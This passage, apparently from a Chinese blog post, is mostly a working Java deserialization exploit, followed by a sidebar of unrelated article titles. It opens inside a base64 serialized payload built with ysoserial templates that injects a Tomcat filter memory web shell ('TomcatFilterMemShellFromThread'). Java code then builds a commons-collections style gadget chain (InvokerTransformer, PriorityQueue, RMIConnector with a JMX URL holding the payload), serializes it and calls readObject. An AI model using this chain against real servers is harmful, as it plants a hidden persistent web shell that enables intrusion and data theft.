FN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA1nZXRQYXJhbWV0ZXJzAQAqKClMb3JnL2FwYWNoZS90b21jYXQvdXRpbC9odHRwL1BhcmFtZXRlcnM7AQAIZW50cnlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwEADWphdmEvdXRpbC9TZXQBABYoKUxqYXZhL3V0aWwvSXRlcmF0b3I7AQAHaGFzTmV4dAEABmdldEtleQEACnJlcGxhY2VBbGwBADgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACGdldFZhbHVlAQAEc2l6ZQEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwEACHB1dFZhbHVlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQARZ2V0RGVjbGFyZWRNZXRob2QBAAdkb0ZpbmFsAQAGKFtCKVtCAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwEADGdldFBhcmFtZXRlcgEAKShbTGphdmEvbmV0L1VSTDtMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEABXdyaXRlAQALdG9CeXRlQXJyYXkBAEAoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWAQAIbmFub1RpbWUBAAMoKUoBABwoSilMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAMZ2V0UmVzb3VyY2VzAQAnKClMb3JnL2FwYWNoZS9jYXRhbGluYS9XZWJSZXNvdXJjZVJvb3Q7AQAjb3JnL2FwYWNoZS9jYXRhbGluYS9XZWJSZXNvdXJjZVJvb3QBAApnZXRDb250ZXh0AQAfKClMb3JnL2FwYWNoZS9jYXRhbGluYS9Db250ZXh0OwEADWdldFN1cGVyY2xhc3MBAAlzZXRGaWx0ZXIBABkoTGphdmF4L3NlcnZsZXQvRmlsdGVyOylWAQANc2V0RmlsdGVyTmFtZQEAB2dldE5hbWUBAA5zZXRGaWx0ZXJDbGFzcwEADGFkZEZpbHRlckRlZgEANChMb3JnL2FwYWNoZS90b21jYXQvdXRpbC9kZXNjcmlwdG9yL3dlYi9GaWx0ZXJEZWY7KVYBAA1hZGRVUkxQYXR0ZXJuAQAcamF2YXgvc2VydmxldC9EaXNwYXRjaGVyVHlwZQEAB1JFUVVFU1QBAB5MamF2YXgvc2VydmxldC9EaXNwYXRja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";
RMIConnector rmiConnector=new RMIConnector(new JMXServiceURL("service:jmx:rmi://localhost:9999/stub/"+exp),map);
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
queue.add(1);
queue.add(1);
Reflections.setFieldValue(transformer, "iMethodName", "connect");
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = rmiConnector;
queueArray[1] = 1;
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeObject(queue);
oser.close();
System.out.println(ser);
System.out.println(Base64.getEncoder().encodeToString(ser.toByteArray()));
new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(Base64.getEncoder().encodeToString(ser.toByteArray())))).readObject();
}
}
边栏推荐
- Web Security
- [dark horse morning post] Luo Yonghao responded to ridicule Oriental selection; Dong Qing's husband Mi Chunlei was executed for more than 700million; Geely officially acquired Meizu; Huawei releases M
- 关于vray 5.2的使用(自研笔记)
- websocket
- Go项目实战—参数绑定,类型转换
- Talk about the understanding of fault tolerance mechanism and state consistency in Flink framework
- 变量///
- 2022年T电梯修理操作证考试题及答案
- DGL中异构图的一些理解以及异构图卷积HeteroGraphConv的用法
- 想请教一下,十大券商有哪些?在线开户是安全么?
猜你喜欢
Go-3-the first go program
Bidirectional RNN and stacked bidirectional RNN
Based on shengteng AI Aibi intelligence, we launched a digital solution for bank outlets to achieve full digital coverage of information from headquarters to outlets
Comparative learning in the period of "arms race"
C language QQ chat room small project [complete source code]
Honing · fusion | know that the official website of Chuangyu mobile terminal is newly launched, and start the journey of digital security!
微信核酸检测预约小程序系统毕业设计毕设(7)中期检查报告
【JS】提取字符串中的分数,汇总后算出平均分,并与每个分数比较,输出
Ad20 make logo
ModuleNotFoundError: No module named ‘scrapy‘ 终极解决方式
随机推荐
手机厂商“互卷”之年:“机海战术”失灵,“慢节奏”打法崛起
Web Components
双向RNN与堆叠的双向RNN
Implementation of wechat applet bottom loading and pull-down refresh
Data type
NAS与SAN
csdn软件测试入门的测试基本流程
BOM//
Nine degrees 1480: maximum ascending subsequence sum (dynamic programming idea for the maximum value)
TSQL–标示列、GUID 、序列
【DNS】“Can‘t resolve host“ as non-root user, but works fine as root
Based on shengteng AI Aibi intelligence, we launched a digital solution for bank outlets to achieve full digital coverage of information from headquarters to outlets
上拉加载原理
SAP ui5 objectpagelayout control usage sharing
Ad20 make logo
Web3基金会「Grant计划」赋能开发者,盘点四大成功项目
regular expression
脚手架开发进阶
重磅:国产IDE发布,由阿里研发,完全开源!
websocket